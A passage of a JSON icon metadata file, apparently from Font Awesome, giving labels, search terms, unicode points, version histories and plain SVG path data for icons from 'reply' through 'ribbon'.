        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 224c0 17.7 14.3 32 32 32s32-14.3 32-32c0-53 43-96 96-96H320v32c0 12.9 7.8 24.6 19.8 29.6s25.7 2.2 34.9-6.9l64-64c12.5-12.5 12.5-32.8 0-45.3l-64-64c-9.2-9.2-22.9-11.9-34.9-6.9S320 19.1 320 32V64H160C71.6 64 0 135.6 0 224zm512 64c0-17.7-14.3-32-32-32s-32 14.3-32 32c0 53-43 96-96 96H192V352c0-12.9-7.8-24.6-19.8-29.6s-25.7-2.2-34.9 6.9l-64 64c-12.5 12.5-12.5 32.8 0 45.3l64 64c9.2 9.2 22.9 11.9 34.9 6.9s19.8-16.6 19.8-29.6V448H352c88.4 0 160-71.6 160-160z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 224c0 17.7 14.3 32 32 32s32-14.3 32-32c0-53 43-96 96-96H320v32c0 12.9 7.8 24.6 19.8 29.6s25.7 2.2 34.9-6.9l64-64c12.5-12.5 12.5-32.8 0-45.3l-64-64c-9.2-9.2-22.9-11.9-34.9-6.9S320 19.1 320 32V64H160C71.6 64 0 135.6 0 224zm512 64c0-17.7-14.3-32-32-32s-32 14.3-32 32c0 53-43 96-96 96H192V352c0-12.9-7.8-24.6-19.8-29.6s-25.7-2.2-34.9 6.9l-64 64c-12.5 12.5-12.5 32.8 0 45.3l64 64c9.2 9.2 22.9 11.9 34.9 6.9s19.8-16.6 19.8-29.6V448H352c88.4 0 160-71.6 160-160z"
      }
    },
    "free": ["solid"]
  },
  "reply": {
    "aliases": {
      "names": ["mail-reply"],
      "unicodes": {
        "composite": ["f112"],
        "secondary": ["10f3e5"]
      }
    },
    "changes": [
      "3.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.2.1",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["mail", "message", "respond"]
    },
    "styles": ["solid"],
    "unicode": "f3e5",
    "label": "Reply",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766332,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M205 34.8c11.5 5.1 19 16.6 19 29.2v64H336c97.2 0 176 78.8 176 176c0 113.3-81.5 163.9-100.2 174.1c-2.5 1.4-5.3 1.9-8.1 1.9c-10.9 0-19.7-8.9-19.7-19.7c0-7.5 4.3-14.4 9.8-19.5c9.4-8.8 22.2-26.4 22.2-56.7c0-53-43-96-96-96H224v64c0 12.6-7.4 24.1-19 29.2s-25 3-34.4-5.4l-160-144C3.9 225.7 0 217.1 0 208s3.9-17.7 10.6-23.8l160-144c9.4-8.5 22.9-10.6 34.4-5.4z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M205 34.8c11.5 5.1 19 16.6 19 29.2v64H336c97.2 0 176 78.8 176 176c0 113.3-81.5 163.9-100.2 174.1c-2.5 1.4-5.3 1.9-8.1 1.9c-10.9 0-19.7-8.9-19.7-19.7c0-7.5 4.3-14.4 9.8-19.5c9.4-8.8 22.2-26.4 22.2-56.7c0-53-43-96-96-96H224v64c0 12.6-7.4 24.1-19 29.2s-25 3-34.4-5.4l-160-144C3.9 225.7 0 217.1 0 208s3.9-17.7 10.6-23.8l160-144c9.4-8.5 22.9-10.6 34.4-5.4z"
      }
    },
    "free": ["solid"]
  },
  "reply-all": {
    "aliases": {
      "names": ["mail-reply-all"],
      "unicodes": {
        "secondary": ["10f122"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.2.1",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["mail", "message", "respond"]
    },
    "styles": ["solid"],
    "unicode": "f122",
    "label": "Reply All",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766331,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M209.4 39.5c-9.1-9.6-24.3-10-33.9-.9L33.8 173.2c-19.9 18.9-19.9 50.7 0 69.6L175.5 377.4c9.6 9.1 24.8 8.7 33.9-.9s8.7-24.8-.9-33.9L66.8 208 208.5 73.4c9.6-9.1 10-24.3 .9-33.9zM352 64c0-12.6-7.4-24.1-19-29.2s-25-3-34.4 5.4l-160 144c-6.7 6.1-10.6 14.7-10.6 23.8s3.9 17.7 10.6 23.8l160 144c9.4 8.5 22.9 10.6 34.4 5.4s19-16.6 19-29.2V288h32c53 0 96 43 96 96c0 30.4-12.8 47.9-22.2 56.7c-5.5 5.1-9.8 12-9.8 19.5c0 10.9 8.8 19.7 19.7 19.7c2.8 0 5.6-.6 8.1-1.9C494.5 467.9 576 417.3 576 304c0-97.2-78.8-176-176-176H352V64z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M209.4 39.5c-9.1-9.6-24.3-10-33.9-.9L33.8 173.2c-19.9 18.9-19.9 50.7 0 69.6L175.5 377.4c9.6 9.1 24.8 8.7 33.9-.9s8.7-24.8-.9-33.9L66.8 208 208.5 73.4c9.6-9.1 10-24.3 .9-33.9zM352 64c0-12.6-7.4-24.1-19-29.2s-25-3-34.4 5.4l-160 144c-6.7 6.1-10.6 14.7-10.6 23.8s3.9 17.7 10.6 23.8l160 144c9.4 8.5 22.9 10.6 34.4 5.4s19-16.6 19-29.2V288h32c53 0 96 43 96 96c0 30.4-12.8 47.9-22.2 56.7c-5.5 5.1-9.8 12-9.8 19.5c0 10.9 8.8 19.7 19.7 19.7c2.8 0 5.6-.6 8.1-1.9C494.5 467.9 576 417.3 576 304c0-97.2-78.8-176-176-176H352V64z"
      }
    },
    "free": ["solid"]
  },
  "replyd": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3e6",
    "label": "replyd",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014461,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M320 480H128C57.6 480 0 422.4 0 352V160C0 89.6 57.6 32 128 32h192c70.4 0 128 57.6 128 128v192c0 70.4-57.6 128-128 128zM193.4 273.2c-6.1-2-11.6-3.1-16.4-3.1-7.2 0-13.5 1.9-18.9 5.6-5.4 3.7-9.6 9-12.8 15.8h-1.1l-4.2-18.3h-28v138.9h36.1v-89.7c1.5-5.4 4.4-9.8 8.7-13.2 4.3-3.4 9.8-5.1 16.2-5.1 4.6 0 9.8 1 15.6 3.1l4.8-34zm115.2 103.4c-3.2 2.4-7.7 4.8-13.7 7.1-6 2.3-12.8 3.5-20.4 3.5-12.2 0-21.1-3-26.5-8.9-5.5-5.9-8.5-14.7-9-26.4h83.3c.9-4.8 1.6-9.4 2.1-13.9.5-4.4.7-8.6.7-12.5 0-10.7-1.6-19.7-4.7-26.9-3.2-7.2-7.3-13-12.5-17.2-5.2-4.3-11.1-7.3-17.8-9.2-6.7-1.8-13.5-2.8-20.6-2.8-21.1 0-37.5 6.1-49.2 18.3s-17.5 30.5-17.5 55c0 22.8 5.2 40.7 15.6 53.7 10.4 13.1 26.8 19.6 49.2 19.6 10.7 0 20.9-1.5 30.4-4.6 9.5-3.1 17.1-6.8 22.6-11.2l-12-23.6zm-21.8-70.3c3.8 5.4 5.3 13.1 4.6 23.1h-51.7c.9-9.4 3.7-17 8.2-22.6 4.5-5.6 11.5-8.5 21-8.5 8.2-.1 14.1 2.6 17.9 8zm79.9 2.5c4.1 3.9 9.4 5.8 16.1 5.8 7 0 12.6-1.9 16.7-5.8s6.1-9.1 6.1-15.6-2-11.6-6.1-15.4c-4.1-3.8-9.6-5.7-16.7-5.7-6.7 0-12 1.9-16.1 5.7-4.1 3.8-6.1 8.9-6.1 15.4s2 11.7 6.1 15.6zm0 100.5c4.1 3.9 9.4 5.8 16.1 5.8 7 0 12.6-1.9 16.7-5.8s6.1-9.1 6.1-15.6-2-11.6-6.1-15.4c-4.1-3.8-9.6-5.7-16.7-5.7-6.7 0-12 1.9-16.1 5.7-4.1 3.8-6.1 8.9-6.1 15.4 0 6.6 2 11.7 6.1 15.6z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M320 480H128C57.6 480 0 422.4 0 352V160C0 89.6 57.6 32 128 32h192c70.4 0 128 57.6 128 128v192c0 70.4-57.6 128-128 128zM193.4 273.2c-6.1-2-11.6-3.1-16.4-3.1-7.2 0-13.5 1.9-18.9 5.6-5.4 3.7-9.6 9-12.8 15.8h-1.1l-4.2-18.3h-28v138.9h36.1v-89.7c1.5-5.4 4.4-9.8 8.7-13.2 4.3-3.4 9.8-5.1 16.2-5.1 4.6 0 9.8 1 15.6 3.1l4.8-34zm115.2 103.4c-3.2 2.4-7.7 4.8-13.7 7.1-6 2.3-12.8 3.5-20.4 3.5-12.2 0-21.1-3-26.5-8.9-5.5-5.9-8.5-14.7-9-26.4h83.3c.9-4.8 1.6-9.4 2.1-13.9.5-4.4.7-8.6.7-12.5 0-10.7-1.6-19.7-4.7-26.9-3.2-7.2-7.3-13-12.5-17.2-5.2-4.3-11.1-7.3-17.8-9.2-6.7-1.8-13.5-2.8-20.6-2.8-21.1 0-37.5 6.1-49.2 18.3s-17.5 30.5-17.5 55c0 22.8 5.2 40.7 15.6 53.7 10.4 13.1 26.8 19.6 49.2 19.6 10.7 0 20.9-1.5 30.4-4.6 9.5-3.1 17.1-6.8 22.6-11.2l-12-23.6zm-21.8-70.3c3.8 5.4 5.3 13.1 4.6 23.1h-51.7c.9-9.4 3.7-17 8.2-22.6 4.5-5.6 11.5-8.5 21-8.5 8.2-.1 14.1 2.6 17.9 8zm79.9 2.5c4.1 3.9 9.4 5.8 16.1 5.8 7 0 12.6-1.9 16.7-5.8s6.1-9.1 6.1-15.6-2-11.6-6.1-15.4c-4.1-3.8-9.6-5.7-16.7-5.7-6.7 0-12 1.9-16.1 5.7-4.1 3.8-6.1 8.9-6.1 15.4s2 11.7 6.1 15.6zm0 100.5c4.1 3.9 9.4 5.8 16.1 5.8 7 0 12.6-1.9 16.7-5.8s6.1-9.1 6.1-15.6-2-11.6-6.1-15.4c-4.1-3.8-9.6-5.7-16.7-5.7-6.7 0-12 1.9-16.1 5.7-4.1 3.8-6.1 8.9-6.1 15.4 0 6.6 2 11.7 6.1 15.6z"
      }
    },
    "free": ["brands"]
  },
  "republican": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f75e"]
      }
    },
    "changes": ["5.5.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "american",
        "conservative",
        "election",
        "elephant",
        "politics",
        "republican party",
        "right",
        "right-wing",
        "usa"
      ]
    },
    "styles": ["solid"],
    "unicode": "f75e",
    "label": "Republican",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767602,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M0 192C0 103.6 71.6 32 160 32H384c88.4 0 160 71.6 160 160v64H0V192zm415.9-64c-2.4 0-4.7 1.3-5.7 3.4l-12.6 24.6-28.2 4c-2.4 .3-4.4 2-5.2 4.2s-.1 4.7 1.6 6.3l20.4 19.2-4.8 27.1c-.4 2.3 .6 4.7 2.5 6s4.6 1.6 6.7 .5l25.2-12.8 25.2 12.8c2.2 1.1 4.8 .9 6.7-.5s3-3.7 2.5-6l-4.8-27.1L466 170.5c1.7-1.6 2.4-4.1 1.6-6.3s-2.8-3.9-5.2-4.2l-28.2-4-12.6-24.6c-1.1-2.1-3.3-3.4-5.7-3.4zm-138.3 3.4c-1.1-2.1-3.3-3.4-5.7-3.4s-4.7 1.3-5.7 3.4l-12.6 24.6-28.2 4c-2.4 .3-4.4 2-5.2 4.2s-.1 4.7 1.6 6.3l20.4 19.2-4.8 27.1c-.4 2.3 .6 4.7 2.5 6s4.6 1.6 6.7 .5l25.2-12.8 25.2 12.8c2.2 1.1 4.8 .9 6.7-.5s3-3.7 2.5-6l-4.8-27.1L322 170.5c1.7-1.6 2.4-4.1 1.6-6.3s-2.8-3.9-5.2-4.2l-28.2-4-12.6-24.6zM127.9 128c-2.4 0-4.7 1.3-5.7 3.4l-12.6 24.6-28.2 4c-2.4 .3-4.4 2-5.2 4.2s-.1 4.7 1.6 6.3l20.4 19.2-4.8 27.1c-.4 2.3 .6 4.7 2.5 6s4.6 1.6 6.7 .5l25.2-12.8 25.2 12.8c2.2 1.1 4.8 .9 6.7-.5s3-3.7 2.5-6l-4.8-27.1L178 170.5c1.7-1.6 2.4-4.1 1.6-6.3s-2.8-3.9-5.2-4.2l-28.2-4-12.6-24.6c-1.1-2.1-3.3-3.4-5.7-3.4zm.1 160H320h96 32 64 32v32 80c0 8.8 7.2 16 16 16s16-7.2 16-16V352c0-17.7 14.3-32 32-32s32 14.3 32 32v48c0 44.2-35.8 80-80 80s-80-35.8-80-80V352H448v32 64c0 17.7-14.3 32-32 32H352c-17.7 0-32-14.3-32-32V384H128v64c0 17.7-14.3 32-32 32H32c-17.7 0-32-14.3-32-32V384 288H128z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M0 192C0 103.6 71.6 32 160 32H384c88.4 0 160 71.6 160 160v64H0V192zm415.9-64c-2.4 0-4.7 1.3-5.7 3.4l-12.6 24.6-28.2 4c-2.4 .3-4.4 2-5.2 4.2s-.1 4.7 1.6 6.3l20.4 19.2-4.8 27.1c-.4 2.3 .6 4.7 2.5 6s4.6 1.6 6.7 .5l25.2-12.8 25.2 12.8c2.2 1.1 4.8 .9 6.7-.5s3-3.7 2.5-6l-4.8-27.1L466 170.5c1.7-1.6 2.4-4.1 1.6-6.3s-2.8-3.9-5.2-4.2l-28.2-4-12.6-24.6c-1.1-2.1-3.3-3.4-5.7-3.4zm-138.3 3.4c-1.1-2.1-3.3-3.4-5.7-3.4s-4.7 1.3-5.7 3.4l-12.6 24.6-28.2 4c-2.4 .3-4.4 2-5.2 4.2s-.1 4.7 1.6 6.3l20.4 19.2-4.8 27.1c-.4 2.3 .6 4.7 2.5 6s4.6 1.6 6.7 .5l25.2-12.8 25.2 12.8c2.2 1.1 4.8 .9 6.7-.5s3-3.7 2.5-6l-4.8-27.1L322 170.5c1.7-1.6 2.4-4.1 1.6-6.3s-2.8-3.9-5.2-4.2l-28.2-4-12.6-24.6zM127.9 128c-2.4 0-4.7 1.3-5.7 3.4l-12.6 24.6-28.2 4c-2.4 .3-4.4 2-5.2 4.2s-.1 4.7 1.6 6.3l20.4 19.2-4.8 27.1c-.4 2.3 .6 4.7 2.5 6s4.6 1.6 6.7 .5l25.2-12.8 25.2 12.8c2.2 1.1 4.8 .9 6.7-.5s3-3.7 2.5-6l-4.8-27.1L178 170.5c1.7-1.6 2.4-4.1 1.6-6.3s-2.8-3.9-5.2-4.2l-28.2-4-12.6-24.6c-1.1-2.1-3.3-3.4-5.7-3.4zm.1 160H320h96 32 64 32v32 80c0 8.8 7.2 16 16 16s16-7.2 16-16V352c0-17.7 14.3-32 32-32s32 14.3 32 32v48c0 44.2-35.8 80-80 80s-80-35.8-80-80V352H448v32 64c0 17.7-14.3 32-32 32H352c-17.7 0-32-14.3-32-32V384H128v64c0 17.7-14.3 32-32 32H32c-17.7 0-32-14.3-32-32V384 288H128z"
      }
    },
    "free": ["solid"]
  },
  "researchgate": {
    "changes": ["5.0.11"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f4f8",
    "label": "Researchgate",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014473,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 32v448h448V32H0zm262.2 334.4c-6.6 3-33.2 6-50-14.2-9.2-10.6-25.3-33.3-42.2-63.6-8.9 0-14.7 0-21.4-.6v46.4c0 23.5 6 21.2 25.8 23.9v8.1c-6.9-.3-23.1-.8-35.6-.8-13.1 0-26.1.6-33.6.8v-8.1c15.5-2.9 22-1.3 22-23.9V225c0-22.6-6.4-21-22-23.9V193c25.8 1 53.1-.6 70.9-.6 31.7 0 55.9 14.4 55.9 45.6 0 21.1-16.7 42.2-39.2 47.5 13.6 24.2 30 45.6 42.2 58.9 7.2 7.8 17.2 14.7 27.2 14.7v7.3zm22.9-135c-23.3 0-32.2-15.7-32.2-32.2V167c0-12.2 8.8-30.4 34-30.4s30.4 17.9 30.4 17.9l-10.7 7.2s-5.5-12.5-19.7-12.5c-7.9 0-19.7 7.3-19.7 19.7v26.8c0 13.4 6.6 23.3 17.9 23.3 14.1 0 21.5-10.9 21.5-26.8h-17.9v-10.7h30.4c0 20.5 4.7 49.9-34 49.9zm-116.5 44.7c-9.4 0-13.6-.3-20-.8v-69.7c6.4-.6 15-.6 22.5-.6 23.3 0 37.2 12.2 37.2 34.5 0 21.9-15 36.6-39.7 36.6z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 32v448h448V32H0zm262.2 334.4c-6.6 3-33.2 6-50-14.2-9.2-10.6-25.3-33.3-42.2-63.6-8.9 0-14.7 0-21.4-.6v46.4c0 23.5 6 21.2 25.8 23.9v8.1c-6.9-.3-23.1-.8-35.6-.8-13.1 0-26.1.6-33.6.8v-8.1c15.5-2.9 22-1.3 22-23.9V225c0-22.6-6.4-21-22-23.9V193c25.8 1 53.1-.6 70.9-.6 31.7 0 55.9 14.4 55.9 45.6 0 21.1-16.7 42.2-39.2 47.5 13.6 24.2 30 45.6 42.2 58.9 7.2 7.8 17.2 14.7 27.2 14.7v7.3zm22.9-135c-23.3 0-32.2-15.7-32.2-32.2V167c0-12.2 8.8-30.4 34-30.4s30.4 17.9 30.4 17.9l-10.7 7.2s-5.5-12.5-19.7-12.5c-7.9 0-19.7 7.3-19.7 19.7v26.8c0 13.4 6.6 23.3 17.9 23.3 14.1 0 21.5-10.9 21.5-26.8h-17.9v-10.7h30.4c0 20.5 4.7 49.9-34 49.9zm-116.5 44.7c-9.4 0-13.6-.3-20-.8v-69.7c6.4-.6 15-.6 22.5-.6 23.3 0 37.2 12.2 37.2 34.5 0 21.9-15 36.6-39.7 36.6z"
      }
    },
    "free": ["brands"]
  },
  "resolving": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3e7",
    "label": "Resolving",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014467,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M281.2 278.2c46-13.3 49.6-23.5 44-43.4L314 195.5c-6.1-20.9-18.4-28.1-71.1-12.8L54.7 236.8l28.6 98.6 197.9-57.2zM248.5 8C131.4 8 33.2 88.7 7.2 197.5l221.9-63.9c34.8-10.2 54.2-11.7 79.3-8.2 36.3 6.1 52.7 25 61.4 55.2l10.7 37.8c8.2 28.1 1 50.6-23.5 73.6-19.4 17.4-31.2 24.5-61.4 33.2L203 351.8l220.4 27.1 9.7 34.2-48.1 13.3-286.8-37.3 23 80.2c36.8 22 80.3 34.7 126.3 34.7 137 0 248.5-111.4 248.5-248.3C497 119.4 385.5 8 248.5 8zM38.3 388.6L0 256.8c0 48.5 14.3 93.4 38.3 131.8z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M281.2 278.2c46-13.3 49.6-23.5 44-43.4L314 195.5c-6.1-20.9-18.4-28.1-71.1-12.8L54.7 236.8l28.6 98.6 197.9-57.2zM248.5 8C131.4 8 33.2 88.7 7.2 197.5l221.9-63.9c34.8-10.2 54.2-11.7 79.3-8.2 36.3 6.1 52.7 25 61.4 55.2l10.7 37.8c8.2 28.1 1 50.6-23.5 73.6-19.4 17.4-31.2 24.5-61.4 33.2L203 351.8l220.4 27.1 9.7 34.2-48.1 13.3-286.8-37.3 23 80.2c36.8 22 80.3 34.7 126.3 34.7 137 0 248.5-111.4 248.5-248.3C497 119.4 385.5 8 248.5 8zM38.3 388.6L0 256.8c0 48.5 14.3 93.4 38.3 131.8z"
      }
    },
    "free": ["brands"]
  },
  "restroom": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f7bd"]
      }
    },
    "changes": ["5.6.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bathroom", "toilet", "water closet", "wc"]
    },
    "styles": ["solid"],
    "unicode": "f7bd",
    "label": "Restroom",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M80 48a48 48 0 1 1 96 0A48 48 0 1 1 80 48zm40 304V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V325.2c-8.1 9.2-21.1 13.2-33.5 9.4c-16.9-5.3-26.3-23.2-21-40.1l30.9-99.1C44.9 155.3 82 128 124 128h8c42 0 79.1 27.3 91.6 67.4l30.9 99.1c5.3 16.9-4.1 34.8-21 40.1c-12.4 3.9-25.4-.2-33.5-9.4V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V352H120zM320 0c13.3 0 24 10.7 24 24V488c0 13.3-10.7 24-24 24s-24-10.7-24-24V24c0-13.3 10.7-24 24-24zM464 48a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zM440 480V384H422.2c-10.9 0-18.6-10.7-15.2-21.1l9-26.9c-3.2 0-6.4-.5-9.5-1.5c-16.9-5.3-26.3-23.2-21-40.1l29.7-95.2C428.4 156.9 467.6 128 512 128s83.6 28.9 96.8 71.2l29.7 95.2c5.3 16.9-4.1 34.8-21 40.1c-3.2 1-6.4 1.5-9.5 1.5l9 26.9c3.5 10.4-4.3 21.1-15.2 21.1H584v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V384H504v96c0 17.7-14.3 32-32 32s-32-14.3-32-32z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M80 48a48 48 0 1 1 96 0A48 48 0 1 1 80 48zm40 304V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V325.2c-8.1 9.2-21.1 13.2-33.5 9.4c-16.9-5.3-26.3-23.2-21-40.1l30.9-99.1C44.9 155.3 82 128 124 128h8c42 0 79.1 27.3 91.6 67.4l30.9 99.1c5.3 16.9-4.1 34.8-21 40.1c-12.4 3.9-25.4-.2-33.5-9.4V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V352H120zM320 0c13.3 0 24 10.7 24 24V488c0 13.3-10.7 24-24 24s-24-10.7-24-24V24c0-13.3 10.7-24 24-24zM464 48a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zM440 480V384H422.2c-10.9 0-18.6-10.7-15.2-21.1l9-26.9c-3.2 0-6.4-.5-9.5-1.5c-16.9-5.3-26.3-23.2-21-40.1l29.7-95.2C428.4 156.9 467.6 128 512 128s83.6 28.9 96.8 71.2l29.7 95.2c5.3 16.9-4.1 34.8-21 40.1c-3.2 1-6.4 1.5-9.5 1.5l9 26.9c3.5 10.4-4.3 21.1-15.2 21.1H584v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V384H504v96c0 17.7-14.3 32-32 32s-32-14.3-32-32z"
      }
    },
    "free": ["solid"]
  },
  "retweet": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f079"]
      }
    },
    "changes": ["1.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["refresh", "reload", "share", "swap"]
    },
    "styles": ["solid"],
    "unicode": "f079",
    "label": "Retweet",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766329,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M272 416c17.7 0 32-14.3 32-32s-14.3-32-32-32H160c-17.7 0-32-14.3-32-32V192h32c12.9 0 24.6-7.8 29.6-19.8s2.2-25.7-6.9-34.9l-64-64c-12.5-12.5-32.8-12.5-45.3 0l-64 64c-9.2 9.2-11.9 22.9-6.9 34.9s16.6 19.8 29.6 19.8l32 0 0 128c0 53 43 96 96 96H272zM304 96c-17.7 0-32 14.3-32 32s14.3 32 32 32l112 0c17.7 0 32 14.3 32 32l0 128H416c-12.9 0-24.6 7.8-29.6 19.8s-2.2 25.7 6.9 34.9l64 64c12.5 12.5 32.8 12.5 45.3 0l64-64c9.2-9.2 11.9-22.9 6.9-34.9s-16.6-19.8-29.6-19.8l-32 0V192c0-53-43-96-96-96L304 96z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M272 416c17.7 0 32-14.3 32-32s-14.3-32-32-32H160c-17.7 0-32-14.3-32-32V192h32c12.9 0 24.6-7.8 29.6-19.8s2.2-25.7-6.9-34.9l-64-64c-12.5-12.5-32.8-12.5-45.3 0l-64 64c-9.2 9.2-11.9 22.9-6.9 34.9s16.6 19.8 29.6 19.8l32 0 0 128c0 53 43 96 96 96H272zM304 96c-17.7 0-32 14.3-32 32s14.3 32 32 32l112 0c17.7 0 32 14.3 32 32l0 128H416c-12.9 0-24.6 7.8-29.6 19.8s-2.2 25.7 6.9 34.9l64 64c12.5 12.5 32.8 12.5 45.3 0l64-64c9.2-9.2 11.9-22.9 6.9-34.9s-16.6-19.8-29.6-19.8l-32 0V192c0-53-43-96-96-96L304 96z"
      }
    },
    "free": ["solid"]
  },
  "rev": {
    "changes": ["5.1.0", "5.1.1", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f5b2",
    "label": "Rev.io",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014478,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M289.67 274.89a65.57 65.57 0 1 1-65.56-65.56 65.64 65.64 0 0 1 65.56 65.56zm139.55-5.05h-.13a204.69 204.69 0 0 0-74.32-153l-45.38 26.2a157.07 157.07 0 0 1 71.81 131.84C381.2 361.5 310.73 432 224.11 432S67 361.5 67 274.88c0-81.88 63-149.27 143-156.43v39.12l108.77-62.79L210 32v38.32c-106.7 7.25-191 96-191 204.57 0 111.59 89.12 202.29 200.06 205v.11h210.16V269.84z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M289.67 274.89a65.57 65.57 0 1 1-65.56-65.56 65.64 65.64 0 0 1 65.56 65.56zm139.55-5.05h-.13a204.69 204.69 0 0 0-74.32-153l-45.38 26.2a157.07 157.07 0 0 1 71.81 131.84C381.2 361.5 310.73 432 224.11 432S67 361.5 67 274.88c0-81.88 63-149.27 143-156.43v39.12l108.77-62.79L210 32v38.32c-106.7 7.25-191 96-191 204.57 0 111.59 89.12 202.29 200.06 205v.11h210.16V269.84z"
      }
    },
    "free": ["brands"]
  },
  "ribbon": {
    "aliases": {
      "unicodes": {
        "composite": ["1f397"],
        "secondary": ["10f4d6"]
      }
    },
    "changes": ["5.0.9", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "badge",
        "cause",
        "celebration",
        "lapel",
        "pin",
        "reminder",
        "reminder ribbon",
        "ribbon"
      ]
    },
    "styles": ["solid"],
    "unicode": "f4d6",
    "label": "Ribbon",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767602,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M333.2 322.8l0 0-133.9-146 0 0L146 118.6c7.8-5.1 37-22.6 78-22.6s70.2 17.4 78 22.6L245.7 180l85.6 93.4 27.4-29.8c16.3-17.7 25.3-40.9 25.3-65V149.1c0-19-5.6-37.5-16.1-53.3L327.8 35.6C312.9 13.4 287.9 0 261.2 0h-76c-25.8 0-50.1 12.5-65.1 33.5L81.9 87C70.3 103.2 64 122.8 64 142.8V164c0 23.2 8.4 45.6 23.6 63.1l56 64.2 0 0 83.3 95.6 0 0 91.8 105.3c10 11.5 26.8 14.3 40 6.8l54.5-31.1c17.8-10.2 21.6-34.3 7.7-49.4l-87.7-95.7zM205.2 410.6l-83.3-95.6L27.1 418.5c-13.9 15.1-10.1 39.2 7.7 49.4l55.1 31.5c13 7.4 29.3 4.9 39.4-6.1l75.9-82.6z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M333.2 322.8l0 0-133.9-146 0 0L146 118.6c7.8-5.1 37-22.6 78-22.6s70.2 17.4 78 22.6L245.7 180l85.6 93.4 27.4-29.8c16.3-17.7 25.3-40.9 25.3-65V149.1c0-19-5.6-37.5-16.1-53.3L327.8 35.6C312.9 13.4 287.9 0 261.2 0h-76c-25.8 0-50.1 12.5-65.1 33.5L81.9 87C70.3 103.2 64 122.8 64 142.8V164c0 23.2 8.4 45.6 23.6 63.1l56 64.2 0 0 83.3 95.6 0 0 91.8 105.3c10 11.5 26.8 14.3 40 6.8l54.5-31.1c17.8-10.2 21.6-34.3 7.7-49.4l-87.7-95.7zM205.2 410.6l-83.3-95.6L27.1 418.5c-13.9 15.1-10.1 39.2 7.7 49.4l55.1 31.5c13 7.4 29.3 4.9 39.4-6.1l75.9-82.6z"
      }
    },
    "free": ["solid"]
  },
  "right-from-bracket": {
    "aliases": {
      "names": ["sign-out-alt"],
